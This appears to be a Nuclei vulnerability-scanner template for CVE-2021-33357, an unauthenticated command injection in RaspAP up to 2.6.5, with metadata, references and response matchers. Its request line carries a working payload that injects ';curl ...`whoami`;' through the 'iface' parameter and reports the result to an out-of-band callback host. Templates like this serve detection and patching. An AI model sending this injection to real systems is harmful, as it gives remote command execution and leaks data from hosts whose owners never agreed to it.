54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
id: CVE-2021-33357
|
|
|
|
info:
|
|
name: RaspAP <=2.6.5 - Remote Command Injection
|
|
author: pikpikcu,pdteam
|
|
severity: critical
|
|
description: |
|
|
RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
|
|
remediation: |
|
|
Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
|
|
reference:
|
|
- https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
|
|
- https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
|
|
- https://github.com/RaspAP/raspap-webgui
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-33357
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-33357
|
|
cwe-id: CWE-78
|
|
epss-score: 0.96598
|
|
epss-percentile: 0.99484
|
|
cpe: cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: raspap
|
|
product: raspap
|
|
tags: cve,cve2021,rce,raspap,oast
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
words:
|
|
- "DHCPEnabled"
|
|
|
|
extractors:
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
- 'GET \/([a-z-]+) HTTP'
|
|
part: interactsh_request
|
|
|
|
# digest: 4b0a00483046022100f8123e029dd83eb446e833d09ddf902dd6e43f7bc89719a6e4eeb5e629add3dd0221008088aab7e9b5e8ebb5d97cdfee4c8cd1fe34396ce3d66f927fe63c19a2c04947:922c64590222798bb761d5b6d8e72950
|